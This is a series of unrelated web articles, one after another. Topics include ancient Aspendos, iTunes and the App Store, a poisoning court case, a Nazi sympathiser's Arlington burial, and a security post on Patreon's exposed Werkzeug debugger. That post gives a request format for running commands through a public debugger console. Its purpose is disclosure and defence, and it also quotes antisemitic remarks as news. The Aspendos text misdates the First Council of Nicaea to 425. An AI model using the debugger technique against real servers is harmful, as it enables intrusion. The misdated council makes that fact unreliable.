carwasheros to make that choice for themselves.  Adapted from “Minimum Wage vs. the Carwasheros,” available at Reason.com, where Jim Epstein is a writer and producer.
-For other characters named Anthony, see Anthony.  Anthony House was the half-brother of Robert House and the owner of the H&H Tool Company.  Background Edit  As the self-perceived only legitimate son of House Senior, he considered himself the only worthy heir of his legacy (the aforementioned company). He held a deep disdain for his younger half-brother Robert, likely stemming from the fact that House Senior seemed to favor Robert over him.  Over the years, Anthony developed severe psychological issues, ranging from paranoia to violent delusions. As a manifestation of these conditions, House started implementing increasingly bizarre security measures at his company, which started with things like installing automated turrets in most hallways and eventually devolved into sealing off all the company's bathroom, subjecting his employees to random DNA tests to determine whether they have the "traitor gene", and wearing a "special hat" which allegedly prevented mind-reading. Most of his delusions seemed to revolve around fears that either his half-brother or foreign communists were attempting to steal his company from him and that people inside the organization (such as an executive named Henderson) were secretly aiding them from within.  His condition worsened to the point when, in 2077, he locked down the H&H Tools Factory in outer Vegas and activated its security systems. Curiously, his body is nowhere to be found in the factory.  Notes Edit  He hates foreigners, Masons, carpenters, Tragic players, illegal aliens, extraterrestrials, and the Flemish.  The terminal containing his logs inside the office on the top floor of the H&H Tools Factory is actually named Anthony House's terminal, however in the last entry it is signed Alexander House.  Appearances Edit  Anthony House is mentioned only in Fallout: New Vegas.
-Aspendos or Aspendus (Pamphylian: ΕΣΤϜΕΔΥΣ; Attic: Ἄσπενδος) was an ancient Greco-Roman city in Antalya province of Turkey. The site is located 7 kilometres (4.3 mi) northeast of central Serik.  History [ edit ]  Aspendos theatre from the upper gallery  Aspendos was an ancient city in Pamphylia, Asia Minor, located about 40 km east of the modern city of Antalya, Turkey. It was situated on the Eurymedon River about 16 km inland from the Mediterranean Sea; it shared a border with, and was hostile to, Side.[2]  Some scholars associate the city's name with "Azatiwadaya". The known city of that name was founded by Azatiwada of Quwê on his eastern frontier, at Karatepe.[3] According to later tradition, Aspendos was founded rather earlier by Greeks who may have come from Argos.  The wide range of its coinage throughout the ancient world indicates that, in the 5th century BC, Aspendos had become the most important city in Pamphylia. At that time, according to Thucydides, the Eurymedon River was navigable as far as Aspendos,[4] and the city derived great wealth from a trade in salt, oil and wool.  Aspendos did not play an important role in antiquity as a political force. Its political history during the colonisation period corresponded to the currents of the Pamphylian region. Within this trend, after the colonial period, it remained for a time under Lycian hegemony. In 546 BC it came under Persian domination. The fact that the city continued to mint coins in its own name, however, indicates that it had a great deal of freedom even under the Persians.  Circa 465 BC Cimon led an Athenian navy against a Persian navy in the Battle of the Eurymedon, and destroyed it. Aspendos then became a member of the Delian League.[5]  Aqueduct of Aspendos  The Persians captured the city again in 411 BC and used it as a base. In 389 BC Thrasybulus of Athens, in an effort to regain some of the prestige that city had lost in the Peloponnesian Wars, anchored off the coast of Aspendos in an effort to secure its surrender. Hoping to avoid a new war, the people of Aspendos collected money among themselves and gave it to the commander, entreating him to retreat without causing any damage. Even though he took the money, he had his men trample all the crops in the fields. Enraged, the Aspendians stabbed and killed Thrasybulus in his tent.  When Alexander the Great marched into Aspendos in 333 BC after capturing Perge, the citizens sent envoys asking him not to garrison soldiers there. He agreed, provided he would be given the taxes and horses that they had formerly paid as tribute to the Persian king. After reaching this agreement Alexander went to Side, leaving a garrison there on the city's surrender. Going back through Sillyon, he learned that the Aspendians had failed to ratify the agreement their envoys had proposed and were preparing to defend themselves. Alexander marched to the city immediately. When they saw Alexander returning with his troops, the Aspendians, who had retreated to their acropolis, again sent envoys to sue for peace. This time, however, they had to agree to very harsh terms; a Macedonian garrison would remain in the city and 100 gold talents as well as 4,000 horses would be given in tax annually.  In 190 BC the city surrendered to the Romans, and the corrupt magistrate Verres later pillaged its artistic treasures.[4][6] It was ranked by Philostratus the third city of Pamphylia, and in Byzantine times seems to have been known as Primopolis. Toward the end of the Roman period the city began a decline that continued throughout Byzantine times, although in medieval times it was evidently still a strong place.[4]  Greek and Roman structures [ edit ]  The Basilica  Aspendos is known for having the best-preserved theatre of antiquity. With a diameter of 96 metres (315 ft), it provided seating for 12,000.[7] It was built in 155[7] by the Greek architect Zenon, a native of the city. It was periodically repaired by the Seljuqs, who used it as a caravanserai, and in the 13th century the stage building was converted into a palace by the Seljuqs of Rum.[8]  In order to keep with Hellenistic traditions, a small part of the theatre was built so that it leaned against the hill where the Citadel (Acropolis) stood, while the remainder was built on vaulted arches. The high stage, whose supporting columns are still in place,[4] served to seemingly isolate the audience from the rest of the world. The 'scaenae frons' or backdrop, has remained intact. The 8.1 metre (27 ft) sloping reflective wooden ceiling over the stage has been lost over time. Post holes for 58 masts are found in the upper level of the theatre. These masts supported a velarium or awning that could be pulled over the audience to provide shade.[7]  The Aspendos International Opera and Ballet Festival offers an annual season of productions in the theatre in the spring and early summer.  Nearby stand the remains of a basilica, agora, nymphaeum and 15 kilometres (9.3 mi) of a Roman aqueduct. The Roman Eurymedon Bridge, reconstructed in the 13th century, is also in the vicinity.  Coinage [ edit ]  Silver Stater from Aspendos dated 370-333 BC, featuring scenes from Olympic sports. City/Region: Pamphylia, Aspendos; Denomination: AR Stater; Composition: Silver Date: 370-333 BC; Obverse: Olympic games-type scene: two wrestlers grappling, the letters delta and alpha between their legs; Reverse: ΕΣΤΕΔΙΙΥΣ , Olympic games-type scene: Slinger, wearing short chiton, discharging sling to right, triskeles on right with feet clockwise; Size: 23.6mm, 10.851g; Reference: SNG Cop 233; SNG France 87  Aspendos was one of the earliest cities to mint coins. It began issuing coinage around 500 BC, first staters and later drachmas; "the slinger on the obverse represents the soldiery for which Aspendus was famous in antiquity,"[9] the reverse frequently depicts a triskelion. The legend appears on early coins as the abbreviation ΕΣ or ΕΣΤϜΕ; later coinage has ΕΣΤϜΕΔΙΙΥΣ, the adjective from the city's local (Pamphylian) name Estwedus. The city's numismatic history extends from archaic Greek to late Roman times.[10]  Bishopric [ edit ]  The Christian bishopric of Aspendus was a suffragan of the metropolitan see of Side, the capital of the Roman province of Pamphylia Prima, to which Aspendus belonged. Of its bishops, the names of four are recorded in extant documents: Domnus was at the First Council of Nicaea in 425, Tribonianus at the Council of Ephesus in 431, Timotheus at the 448 synod held by Flavian of Constantinople, which condemned Eutyches, and at the Robber Council of Ephesus held the same year, and Leo at the Second Council of Nicaea in 787.[11][12]  No longer a residential bishopric, Aspendus is today listed by the Catholic Church as a titular see.[13]  Aspendos International Opera and Ballet Festival [ edit ]  The theatre hosts the annual Aspendos International Opera and Ballet Festival organized by Turkish State Opera and Ballet since 1994, with international participation of opera and ballet companies and an audience of about 10,000.  Dalida held her last concert there on 28 April 1987.
-The App Store  While the iTunes Store was a near-instant hit in the music space, it didn’t spark the same revolution in video. Originally, use cases for TV shows and movies from iTunes were rather limited — you could watch on your iPod’s tiny screen or on your computer, but Apple didn’t have a straightforward way into taking over the living room. The launch of Apple TV in 2007 helped, but it was famously a “hobby” product for the company for years. Recent revisions and improvements to the store and Apple TV have made it a strong contender for the living room, but it was a while before video was considered one of Apple’s strengths.  If music was a hit and video was more of a slow burn, the launch of the App Store in 2008 is probably best described as a rocket igniting. The June 2007 launch of the iPhone was even more disruptive than the iPod, and consumers quickly clamored for the ability to extend the expensive device’s features beyond the 16 apps Apple included when it launched. It didn’t take long for Apple to get the message. Despite Steve Jobs’ insistence that web apps in Safari would be the ideal mobile solution for developers and consumers alike, Apple announced the forthcoming availability of a full iPhone OS SDK in October of 2007. Over the App Store’s first weekend in July 2008, consumers downloaded a staggering 10 million apps — the familiarity with Apple’s digital marketplace, the abundance of high-quality free selections, and the pent-up demand amongst iPhone owners meant the App Store was an immediate success.  Having a vibrant, third-party app ecosystem became the defining feature for a smartphone  “The App Store changed everything,” said Jeremy Olson of Tappity. “It made selling software so easy that anyone could do it, and it made buying software so simple and affordable that everyone does it.” Part of the App Store’s power was that it leveled the playing field between giant companies and independent developers. “My dinky three-person team has built apps that at certain points in time were some of the highest selling apps on the whole store, dominating all the huge competing brands,” said Olson.  For some developers, the App Store provided a significant financial windfall. “Without much to lose, I founded App Cubby on a $20k loan from family members,” says David Barnard, who was “completely broke” when the App Store launched. “Over the next five years App Cubby grossed well over $1 million.”  Almost overnight, having a vibrant, third-party app ecosystem became perhaps the defining feature for a smartphone — and the lack of one would quickly lead to hard times, as seen in the struggles endured by Palm’s webOS and eventually even the powerful BlackBerry brand. Google, Apple’s main competitor in the mobile device space, certainly took the lesson to heart. Its Google Play market for the Android OS covers nearly all the same bases as iTunes, with vast selections of music, movies, TV shows, books, magazines, and apps.  Side effects  Despite its success, Apple's iTunes has received its share of criticism. Those signature white earbuds delivered poor-quality sound (though they were better than many pack-in headsets of the time). More concerning to artists was the concept of selling compressed files — the quality they had painstakingly crafted was lost in Apple’s 128kbps AAC compression. As for the overall health of the music sector, two years before iTunes launched the labels generated $14 billion in revenue. Sales last year were half of that. Some critics feel that Apple helped strip the value out of music.  Indeed, iTunes hacked away at the dominance of the album as a sales unit and simultaneously tapped into consumer desire to be more selective about the music they owned. Apple’s business model brought back the single, which up until the early 1990s was one of the primary formats for the recording industry. The single all but vanished with the rise of the CD, and music fans were forced to pay for entire albums to get the songs they wanted. Apple unbundled songs, sold them for less than a buck — and paved the way for the CD’s eventual extinction.  The ability to buy nearly any single song without needing to buy the whole album really pushed the concept of the “digital mixtape” into high gear. Music listeners could now easily experience what Apple promised back in 2001 with its “Rip, Mix, Burn” commercial, and playlist curation and sharing has only grown in popularity since then. If you’ve ever spent any time using Spotify, you’ve likely come across all types of user-created playlists in a wide variety of themes — the iTunes Store helped popularize that concept. Plenty of artists didn't like it — AC/DC, Jon Bon Jovi, and Kid Rock were among those that criticized Apple's practices or withheld their songs from the service.  Of course, iTunes wouldn’t still be here if the Store and the iPod hadn’t been easy and fun to use, but Apple nailed both the hardware and the user experience out of the gate. It’s easy to forget a decade later as both the iTunes software and Store have become bloated, but once upon a time iTunes was a far superior option to most other music-management players. There’s no doubt that the iPod’s excellent UI, small size, and solid battery life were a major step forward from the clunky “Jukebox” players of the day that offered high storage capacity but little else.  As someone who grew up dealing with a number of pre-iPod MP3 players, I found the simple experience of buying new music on iTunes and plugging in the iPod to automatically sync new content to be a vastly improved user experience. Even now, just holding the iPod hardware, with its signature shiny, scratch-prone back and then-ubiquitous click wheel, brings back memories of a time when digital music made the huge leap beyond laptop speakers and burnt CDs. And being able to wake up, download a brand-new album you’ve been waiting for, and immediately take it out the door with you made iTunes’ tradeoffs well worth it.
-Two construction workers put the Free Beer in TGIFBF this morning when they snuck into the Bronx Brewery for a little mid-morning pick-me-up. The duo were caught on the brewery's security cam helping themselves to some of the spot's signature suds, at one point one of them exclaiming, "This is good!" It's true, the El Serrano Red IPA is quite delicious.  Bronx Brewery Beer Thieves by Gothamist  "I came out of the bathroom and saw two guys sitting at the bar," recounts Assistant Brewer Morgan Snyder. "They had full pints." Snyder says he couldn't find a manager to confirm the duo's identity and by the time he got back, they were gone. Realizing they were probably outside, he sought them out and noticed they were trying to hide the cups of beer from him; one had already gotten in his car and placed the full beer in the cup holder. When asked how they ended up in the building, they told Snyder "the forklift guy" told them they should try the beer, despite nobody on staff using the company's forklift today.  "We're having a Christmas party so we wanted to figure out what beer to bring," the men told Snyder, who says he "gave them the benefit of the doubt" but told them they had to come inside, as they were violating open container laws and putting the brewery in jeopardy. Snyder and marketing coordinator Nick Mezansky confirm that if the men had been spotted by police, the brewery could have been shut down, as all cups are emblazoned with the words Bronx Brewery.  The trio made their way back inside and one of the construction workers threw down a $5 "for your trouble." Ultimately, the men bought and paid for a six pack. Snyder and Mezansky say they've seen some strange stuff since opening but this tops the list.
-Gay man who tried to poison lesbian neighbours with slug pellets over three-legged cat feud walks free  Gary Stewart leaves Minshall St Crown Court after being sentenced for attempting to poison his lesbian neighbours  A gay man who attempted to poison his lesbian neighbours by pouring slug pellets into their curry after they accused him of kidnapping their three-legged cat has walked free from court.  Gary Stewart, 37, had fallen out with his neighbours, Ann Marie Walton, 38, and Beverley Sales, 36.  But in an apparent bid to restore cordial relations with the pair he offered them a curry from a local Indian takeaway.  When the couple went to eat the meal they found the curry sauce was laced with dozens of tiny blue slug pellets.  Afterwards Stewart said he had done it after he had found the tyres to his car had been slashed with a knife.  He texted a friend saying: 'It was them next door, the f******* fat lesbians, I'm glad I've poisoned them and yes it was slug pellets.'  He was sentenced to a six month suspended jail sentence at Minshull Street Crown Court in Manchester after pleading guilty to attempting to poison the two women on September 22 last year.  The court was told Mr Stewart, who is HIV positive, was devastated after his partner Paul Kleisier, 43, died of an Aids related illness last summer.  He had previously got on well with his neighbours in Denton, Manchester, Miss Sales, an HGV driver, and Miss Walton, a full-time mother, but fell out with them last year after a series of petty arguments  Then last summer they were involved in a furious row after Stewart told the council they were neglecting their eight-year-old son, Jack, and social workers were called to carry out an investigation.  After that Stewart is alleged to have kidnapped the family's three-legged cat, Amber, and dumped her in a village miles away.  Beverley Sales (left) and Ann Marie Walton called police when they found blue pellets in the curry  The cat was eventually found after posters showing a photograph of her led to her discovery at the home of a woman who had taken her in about three miles away.  On September 22 Stewart called Miss Walton and offered her a takeaway curry as a peace offering.  He claimed he had been given the curry by a friend but claimed he was going out for the evening and was unable to eat it all.  Miss Walton said she would collect the curry but fell asleep, so Stewart brought it round to the house and handed it to Miss Sales, telling her to ensure she shared some of the meal with Miss Walton.  Robert Smith, prosecuting, said: 'Both examined the curry later that evening and noticed it had a chemical smell. On closer inspection it looked as though there were blue pellets in it.'  The police were called and tests found the curry had been laced with toxic metaldehyde slug pellets.  Slug pellets are poisonous and can be extremely dangerous to animals and children.  The chemical is classed as 'moderately hazardous' by the World Health Organisation and would not normally kill an adult.  But last year vets had to destroy more than a dozen dogs and scores of cats after they ingested the pellets.  There have been no known deaths of children or adults from eating slug pellets.  Philip Barnes, defending, said: 'He does not offer any excuse for his behaviour. The defendant was given the food in question as a thank you but brought the curry round, because of his own illness he was unable to eat it.  'This can be seen as an act of thoughtlessness and stupidity by a man troubled by his own grief.'  Sentencing him, Judge Jonathan Foster QC said: 'This was a mean offence. I fail to understand precisely what you thought you were doing.  'In any event I am prepared to accept that you realized you would not cause any serious harm even if this food was consumed.'  Detective Constable Graham Masheter, of Greater Manchester Police, said: 'What Stewart did was premeditated and totally shocking.  'He has known the victims for several years and for no apparent reason has decided to try and inflict the misery he felt in his own life on them.  'Had either woman eaten the curry they would have become quite ill - thankfully they noticed and contacted police.'
-American Free Press Willis Carto, one of the United States' most infamous Holocaust deniers and Nazi sympathizers, was buried in Arlington National Cemetery on Wednesday.  ARLINGTON, Va. -- The family and friends of Willis Carto, one of the United States’ most prominent Nazi sympathizers, laid him to rest in Arlington National Cemetery on Wednesday.  Carto, who died at age 89 in October, was wounded as an Army soldier in the Philippines during World War II, earning him a Purple Heart medal.  Purple Heart recipients are among those veterans and family members of veterans who may be interred at Arlington's military burial site -- as long as they were subsequently honorably discharged, and not convicted of a state or federal crime.  The Huffington Post reported on a request to bury Carto in Arlington in November. Jennifer Lynch, a spokeswoman for the cemetery, said at the time that a person’s political views did not have any bearing on their eligibility for burial.  The military funeral Carto received on Wednesday arguably tests the limits of those standards in light of his career as an anti-Semitic hatemonger, Holocaust denier and white supremacist thought leader.  After World War II, Carto even renounced the cause for which he'd fought.  "Hitler's defeat was the defeat of Europe. And of America," Carto wrote in a letter published in 1966.  Through a number of initiatives -- including the Liberty Lobby, a white supremacist organization Carto founded, and the Institute for Historical Review, a group he started to promote Holocaust denial -- Carto enjoyed influence among a marginal but significant population of American bigots especially motivated by anti-Jewish hysteria.  At the height of the Liberty Lobby’s popularity in the 1980s, there were 400,000 subscribers to its newsletter, according an obituary for Carto in The New York Times.  Todd Blodgett, who managed advertising for the Liberty Lobby and spied on Carto for the FBI from 2000 to 2002, said the deceased anti-Semitic leader wanted to be buried in Arlington National Cemetery because of the “irony,” given his pro-Nazi views.  "He was laughing about it: 'I’m probably America’s biggest Hitler fan, but I'll be buried alongside all these World War II vets,’” Blodgett told HuffPost in November.  Some two dozen people gathered Wednesday afternoon in the cemetery’s administrative building to mourn Carto in a memorial room. They then formed a caravan of cars to inter Carto on the cemetery’s grounds.  One mourner, who refused to give his name, said he wants Carto to be remembered “as a hero, because he was. He fought for freedom from oppression.”  "He stood up for the best interests of this country and against all the special interests, who would like to see us submerged into this polyglot, one-world -- whatever you want to call it." Joel, a mourner at Willis Carto's funeral  Another mourner, who identified himself only as Joel and said he knew Carto personally, described him as a “great man.”  “He stood up for the best interests of this country and against all the special interests, who would like to see us submerged into this polyglot, one-world -- whatever you want to call it,” Joel said.  He then confirmed that the “special interests” were the Jews.  “Of course," he said. "Who else?"  Joel dismissed the idea that some people might take exception to his views.  “I don’t care if they find it offensive,” he said. “They are going to be a lot more offended when the counterrevolution comes.”  Joel then climbed into a red pickup truck festooned with far-right bumper stickers, including one for “Infowars,” the website of radio host and conspiracy theorist Alex Jones.  Ironically, while people gathered to remember Carto on one floor of the cemetery’s administrative building, right above them, a much larger crowd was memorializing Dorothy Goldstein, the recently deceased wife of a retired career Army officer. Goldstein was Jewish.  One mourner, a retired career Army officer who was a classmate of Goldstein’s husband at West Point, said it “disappointed” him to learn that a famous Nazi sympathizer was being memorialized in the same building as his friend.  But the man, who refused to provide his name, did not dispute Carto’s right to receive a burial there.  “What people do politically after they serve in the military is up to them,” the man said. “Apparently he earned his right to be buried here.”  "It is unfortunate that someone with Carto’s views gets to be buried in our national cemetery, but if he meets the criteria there is not much that can be done." Marilyn Mayo, spokeswoman for the Anti-Defamation League  The Anti-Defamation League, a national anti-Semitism watchdog, expressed a similar sentiment.  “It is unfortunate that someone with Carto’s views gets to be buried in our national cemetery, but if he meets the criteria there is not much that can be done,” said Marilyn Mayo, a spokeswoman for the Anti-Defamation League. “The government cannot be tasked with whether or not to bury someone based on their ideology.”  However, Rabbi Marvin Hier, founder of the Simon Wiesenthal Center, a Holocaust research and awareness organization, called Carto’s burial in Arlington National Cemetery a “national disgrace.”  “For a person who supported a man responsible for the greatest mass murder in the history of mankind to be buried in the sacred ground where service members who fought to do everything to defeat this man, it profanes the cemetery,” Hier said.  “If Hitler had won the war, defeating first Britain and then the United States, Willis Carto would have been a perfect candidate to be a cabinet member in Hitler’s government,” he added.  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-TL;DR, Patreon got hacked. We reported a specific Remote Code Execution to them due to a public debugger before they were breached. We believe this was the attack method due to the simplicity and availability of the vulnerable endpoint. This is how you prevent this from happening to you.  Yesterday Patreon, which is a funding platform for artists and creators, went out with a Security Notice about a compromise happening on the 28th of September on one of their debug versions which was publicly available. Shortly after that, data from this instance, which contained live data, was publicly posted which you can read about here and here.  Their debug version of the application was running with the Werkzeug Debugger publicly available, this has also been shown in Shodan.io for at least a few weeks, this image is from the 11th of September:  This domain was not accessible at this time since Shodan.io was last able to crawl it on the 5th of September.  Werkzeug Debugger works in the way that, as soon as something in the code results in an exception or error, a console is opened:  This is basically Remote Code Execution by design.  An RCE is basically game over. You can inject code directly to the application, exposing all data on the server which the application has access to.  Both the documentation of Werkzeug and Flask mentions this with large bold letters that youshould not expose this debugger online.  What Shodan also exposed was that the Debugger got triggered, basically presenting the visitor with a RCE-console right away on the domain’s root URL just by visiting the domain .  Now, Werkzeug requires an actual error to trigger the console, as it uses a secret key generated when the application starts, which is only exposed in the Werkzeug Debugger page. Without this secret key you cannot run any commands, that’s why you need an exception to reveal the secret. Also worth noting is that the debugger only accepts commands sent in by the GET-parameter, which will then show up in access logs on the vulnerable host, which is great for forensic analysis and investigation.  Also, each line in the code responds to a frame which is also needed for the debugger to know exactly where in the code to run the command.  A request is then made to:  http://example.com/?__debugger__=yes&cmd=print+%221%22&frm=[FRAME]&s=[SECRET]  which will return the result of the command.  This has been discussed before, here’s one article by Colin Keigher on the 21st of December last year mentioning that people do actually expose these debug environments online: Remote code execution on misconfigured systems using Werkzeug.  We reported this issue to Patreon on the 23rd of September when we noticed that the vulnerable host on Shodan was actually responding again. Patreon got back to us and told us that they knew about it and was currently working to mitigate it.  We’ve also added into Detectify so we are checking for available Werkzeug Debuggers on the domains we’re analyzing.  Unfortunately there are thousands of publicly available instances of Werkzeug Debugger out there and each and every one of them should take proper mitigation actions as if they have already been exploited.  Author:
-By Chris Scott Barr  Back before the whole world went nuts about Twilight there was another set of books/movies which drove tweens wild. I am of course speaking of Harry Potter. Sure, there are still a pair of movies to be released, but I’d say the excitement has died down considerably. That didn’t stop one creative individual from crafting a magical artifact from the Potter universe using muggle technology.  The Weasley family had a peculiar clock which instead of telling time, informed you where each individual was located. So how would one get a timepiece to display such information? Through the magic of Twitter, of course.  The face of the clock has a dozen locations written on it (technically 11 places, and one which says “read me”) and four hands with pictures of each family members. A Seeeduino microcontroller board and wireless router are used to monitor Twitter updates and move the hands. If a Twitter update contains one of the locations on the face, the hand moves appropriately. If an update does not contain one of these, the hand will move to “read me.”  This is one of the more creative projects that I have seen in recent history. Taking something purely magical and crafting it from available technology is just awesome. Thankfully the creator took the time to document his work so you can make your own if you choose.  [ TheMagicClock ] VIA [ Technabob ]
-Smokers who indulge in their first cigarette shortly after waking up have an increased risk of developing lung and head and neck cancers, according to two new studies published in Cancer, a journal of the American Cancer Society. The findings may help identify smokers who have a greater risk of developing cancer. These smokers could then be more urgently targeted for smoking cessation programs.  The first studies to show a link between cigarette smoking and cancer were published back in the 1950s, but it wasn’t until 1980 that nicotine dependence was recognized by the American Psychiatric Association as a psychological and physiological problem. The new studies out of Penn State College of Medicine look at nicotine dependence, which in part can be determined by the amount of time elapsed before a smoker lights up his or her first cigarette after waking up in the morning.  “These smokers have higher levels of nicotine and possibly other tobacco toxins in their body, and they may be more addicted than smokers who refrain from smoking for a half hour or more,” says Joshua Muscat of the Penn State College of Medicine, who led the investigation.  Subjects who smoked their first cigarette between 31 and 60 minutes after waking up were more than 30% more likely to develop lung cancer; the odds increased to nearly 80% for those who smoked in their first half-hour awake. For head and neck cancers, subjects were more than 40% more likely if they indulged in the 31-60 minute window, and nearly 60% more likely for those who smoked in their first half-hour awake.  “One of the things we use to measure dependence is called the Heavyness of Smoking Index, which includes two questions,” says Dr. Richard D. Hurt, the director of the Mayo Clinic’s Nicotine Dependence Center, who is not affiliated with the new studies. “How much do you smoke, and how long after you arise do you have your first cigarette?”  Hurt also points out that waiting a little longer before indulging in a first cigarette of the day would mean fewer total cigarettes in a day. “The more dependent are more likely to be heavier smokers,” he says. “But you also have to look at how aggressively these people are smoking. Those who inhale deeper, hold longer, and smoke their cigarettes all the way to the end are receiving more of the harmful constituents of that cigarette.” This makes them more likely to develop cancer than those who smoke less aggressively.  The half-life of nicotine is relatively short – only two hours – so after six or eight hours of sleep, your body has gotten rid of nearly all of the nicotine you’ve inhaled the day before. There’s very little left in the body in the morning and the receptors in the brain are crying out for more nicotine. Those who are the most dependent need that cigarette earlier, and often smoke more cigarettes throughout the day, more intensely.  The takeaway here is about what you’d expect. “Stop smoking as soon as you can,” says Hurt. “We have more things to offer now than ever before. [You] can go to a physician or call a telephone quit line. We combine behavioral counseling with medications, which can double, triple, or even quadruple your chances of successfully quitting.”
-USA Today  Auburn is making sure that any more miracles Gus Malzahn has up his sleeve come on the Tigers sideline, as the school announced a six-year extension with its head coach on Friday.  The extension will pay Malzahn $3.85 million in the first year, with subsequent $250,000 escalators for its duration.  Malzahn signed a five-year deal with the school last December that paid him an annual salary of $2.3 million. The new deal begins next season, and director of athletics Jay Jacobs noted that this financial commitment ensures Malzahn will be at Auburn for the foreseeable future.  John Reed-USA TODAY Sports  "The new contract includes a raise and extension and is our statement that Auburn is committed to coach Malzahn for the long haul," Jacobs said. "While this season has been remarkable, I'm equally excited about the future of our program under his leadership. The future of Auburn football is very bright."  An extension had been in the works for some time. Jacobs told AL.com's  conversation never takes place. The school did not announce buyout stipulations, but it likely included enough assurances that only the deepest pockets in college football or the NFL can come knocking.  Just hours away from possibly locking up his first SEC championship, Malzahn can cross one more distraction off his list in what's been a storybook first season.
-I started writing in a journal when I was in grade 3. One of my teachers took my parents aside on parent-teacher night and suggested that they get me a notebook so I could write my ideas down. I think this came about because I wasn’t paying attention in math class, but it in hindsight it was likely one of the events that lead me to writing.  I journaled daily for years — until my mid-twenties, in fact. I have boxes full of journals of all shapes and sizes stored in a basement somewhere. There are the pink, sparkly ones of high school days, filled with “I love so-and-so’s,” and lots of stickers, the angsty tirades of my early 20s, the day-to-day scribbles of my early 30s. I reduced my journaling to a few times a week as I grew older, and recently, I stopped.  I broke my life-long journaling habit because it was interfering with my writing.  For months I had been getting up at the crack of dawn to scribble my thoughts and feelings into a notebook. By the time I finished, the day’s writing time was nearly over. But there was more than that to the end of my journaling: it wasn’t a positive force in my life anymore.  Journaling can become an excuse not to write other, harder things, like fiction. (Fiction might not be harder for everyone to write, but it sure is for me.) I was spending more time writing about myself, and less time writing for others.  Before I quit journaling altogether, I wrote myself a list of the pros and cons of the art of journaling.  Pros of Journaling:  It helps you get to know yourself It gives you an outlet to vent your feelings in a place where no one can get hurt (unless your brothers steal your journal, break the lock and read it — speaking from experience :) It creates a record of your life that can perhaps be shared with others  Cons of Journaling:  When you have limited time, it takes time away from writing You can fall into a pit of self-reflection and over-analyzing When all is said and done, most of our journals won’t be found on more than one person’s bookshelf, which of course isn’t the main reason most of us journal, but, if you want to write for others…see number one above.  For me, journaling in a traditional sense had run it’s course. I can’t say that I’ll never start it up again, but for now, I’ve set it aside. I still take a few moments each week to write down a few things I’m grateful for in a notebook beside my bed, but otherwise, I’m focusing on fiction.  How about you? Do you write in a journal? Has it ever interfered with your writing?
-Vegan Parmesan Cheese enhances so many dishes. There are only four ingredients and it only takes about 5 mins. Sprinkle it on pasta, soups, salads and more.  How to Make Vegan Parmesan Cheese is a talent that can be yours in minutes. It enhances so many dishes as I am sure you can remember how regular parmesan cheese did in the old days. This recipe is so simple yet so useful.  There are only four ingredients and is complete in about 5 minutes. You can sprinkle it on, at least, pasta and soups. I love sprinkling quite a lot of it into my salads.  That sounds good! I have to have a salad tomorrow.  This post contains affiliate links. Read my disclosure policy here.  Go ahead and double or triple the recipe if you like. It freezes so well you can freeze a larger quantity and take out a quarter of a cup at a time. It’ll be ready to go immediately.  Just today I sprinkled some in my chickpea wrap. It really added a delicious extra flavor and texture.  You’ll find you can go through it vegan parmesan cheese very quickly. Thank goodness it’s so simple to make.  Want to try this Homemade Parmesan Cheese? PIN IT to your Vegan or Vegan Cheese Board to save for later! Find me on Pinterest for more great recipes!  My niece was over last week and made a batch with walnuts. That was a bit of a stronger flavor but it certainly has it’s place. I’m thinking chili.  Chili with parmesan on top is always a good thing. How about on avocado and Two Bean Camp Chili? So so good!  If you like walnuts don’t be afraid to try them as a substitute.  Cashews are traditional though as they come closer to dairy parmesan cheese in flavor. Nutritional yeast and other spices are balanced just right. You’ll be glad you made a batch.  I would love to hear how you would use vegan parmesan cheese. Leave a comment below so I can make notes. You aren’t really supposed to eat it off a spoon but it’s okay with me..  Let’s Get Connected! Facebook | Pinterest | Instagram | Bloglovin  Print 5 from 6 votes How to Make Vegan Parmesan Cheese Vegan Parmesan Cheese enhances so many dishes. Sprinkle it on pasta, soups, salads and more. Prep Time 5 minutes Total Time 5 minutes Servings 12 Ounces Calories 63 kcal Author Ginny McMeans Ingredients 1 cup cashews raw  1/4 cup nutritional yeast  1/2 teaspoon garlic powder  1/2 teaspoon onion powder  1/2 teaspoon sea salt Instructions Add all of the ingredients to a food processor.  Pulse until a fine crumb mixture forms. Literally seconds.  Use in just about any savory dish you can think of. Nutrition Nutrition Facts How to Make Vegan Parmesan Cheese Amount Per Serving (1 Ounce) Calories 63 Calories from Fat 36 % Daily Value* Total Fat 4g 6% Sodium 98mg 4% Potassium 89mg 3% Total Carbohydrates 3g 1% Protein 2g 4% Calcium 0.4% Iron 4.3% * Percent Daily Values are based on a 2000 calorie diet.  Keep in the refrigerator for about a month or keep in the freezer in a freezer container for up to 12 months.  Hey! Here are a couple more recipes that love to use vegan parmesan cheese.  The Best Creamy Mushroom Soup and Fantastic Stuffed Mushrooms!  Now just to remind you of a great pantry addition.
-Festival Map  Just steps away from Lake Ontario, The Word On The Street 2017 featured the finest writers in Canadian literature before one of the city’s most beautiful backdrops, Harbourfront Centre. Both indoor and outdoor activities were scheduled with tons of special events throughout the grounds. Take a look at the map below to see where your your favourite authors and events took place! - À quelques pas du lac Ontario, The Word on the Street 2017 accueille les meilleurs écrivains de la littérature canadienne devant l’une des plus belles toiles de fond de la ville, le Centre Harbourfront. Des activités intérieures et extérieures sont prévues, y compris une foule d’événements spéciaux un peu partout sur le terrain. Jetez un coup d’œil au plan ci-dessous pour voir où se sont déroulées les prestations de vos auteurs préférés ainsi que plusieurs événements!
-In all fairness, driving in Yangon is a walk in the park compared to Cairo or Nairobi. And unlike New York there’s no messenger cyclists hanging onto the back of buses as they accelerate through a yellow light on 5th Avenue.  But it has to be said that Yangon could surely do with a few better driving schools - and maybe just a slight change in attitude from its drivers? So for those poor souls arriving here in Yangon from the likes of Australia, Europe, USA, Singapore, etc.. here are my top 10 things to watch out for as you hit the streets:  Door mirrors. You know those things stuck on the side of vehicles? Let me tell you a secret. If you see any in Yangon, you’re hallucinating because no-one, NO-ONE ever uses them here. My old driving instructor used to hit me over the head if I didn’t check my mirrors AND look over my shoulder before changing lanes. The Yangon technique is different. Here standard operating procedure is to look fixedly ahead while edging (or should I say veering) into the lane alongside. You see if there’s another vehicle alongside you it’s THEIR responsibility to sound their horn to warn you not to do the incredibly dumb thing you are about to do.  Indicators. It may be that after decades of driving old wrecks where only the steering wheel (sort of) operated, Yangon drivers have yet to adjust to the fact that their car indicators work. Or maybe they think using indicators will drain the battery, or use more fuel. Who knows? What you do need to know is that you will regularly grind your teeth waiting to pull out from a side road, only to see the car you’ve been waiting to pass you by suddenly turn into the same road you’re waiting in. Had they indicated you could have safely pulled away, but as they didn’t you’re left waiting for more traffic to pass before you get another chance to pull 